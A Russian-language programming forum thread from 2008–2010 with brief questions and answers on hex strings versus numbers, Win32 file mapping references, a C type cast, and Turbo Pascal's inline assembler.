20.07.2008, 20:27
HEX... это отображение чисел в виде строки, то есть если вы думаете что строка "64" и 0x64 одно и то же вы ошибаетесь! Код символа '6' = 0x36 ... далее '4'= 0x34 почуствуйте разницу!
В вашем варианте вы отсылаете строку символов , которую CPU никада в жизни автоматически не преобразует в реальные числа!

0verbreaK
20.07.2008, 21:16
DeepXhadow на Perl можно организовать!

_nic
02.08.2008, 16:36
Кто знает статьи о маппинге файлов(ф-ции CreateFileMapping,MapViewOfFile и т.д.)?Тоесть где можно прочитать что при этом происходит с файлом и для чего это все нужно.

izlesa
02.08.2008, 18:31
2_nic
у Д. Рихтера в книге "Создание эффективных WIN32-приложений", есть в сети.

_nic
02.08.2008, 23:44
2_nic
у Д. Рихтера в книге "Создание эффективных WIN32-приложений", есть в сети.
А можно ссылку а то гугл находит только "Создание эффективных WIN32-приложений с учетом специфики 64-разрядной версии Windows" Или это оно и есть :confused: ???

Feonor
02.08.2008, 23:55
Оно в принципе то и ясно что ф-ция вовращает немного не тот тип чем обьявленная переменная к которой приводится приравневание.Новот хелп борланда вводит меня в тупик :( ..... Подскажите кому не трудно как с этой ф-цией поступить
Тут просто. Если фкц возвращает "немного не тот тип" то можно использовать принудительное преобразование типов. Напимер нужно из UINT перейти к int, то пишем так:

UINT MyFun (char* s); //какая то фкц возвращает UINT
.......
int x;
x = (int)MyFun (char* s); //здесь приведение типа к int

izlesa
03.08.2008, 00:14
2_nic
оно и есть

HaRaKiRi_OnE
15.06.2009, 13:56
у меня вопрос!
в паскале есть встроенный ассемблер. пишешь asm и строчишь скока те надо.
но!!! все ли возможности, команды и функции присутствуют во встроенном???

KaZ@NoVa
15.06.2009, 14:08
у меня вопрос!
в паскале есть встроенный ассемблер. пишешь asm и строчишь скока те надо.
но!!! все ли возможности, команды и функции присутствуют во встроенном???
ВСЕ

Forsage_1986
14.05.2010, 16:16
Анимо модель математического маятника можно сделать на турбо паскале. Если да то можети помочь.

slesh
14.05.2010, 17:59
есть некоторые ограничения. Синтаксис менее гибкий в некоторых командах. И нету 32 битных команд для стандартного турбо паскаля.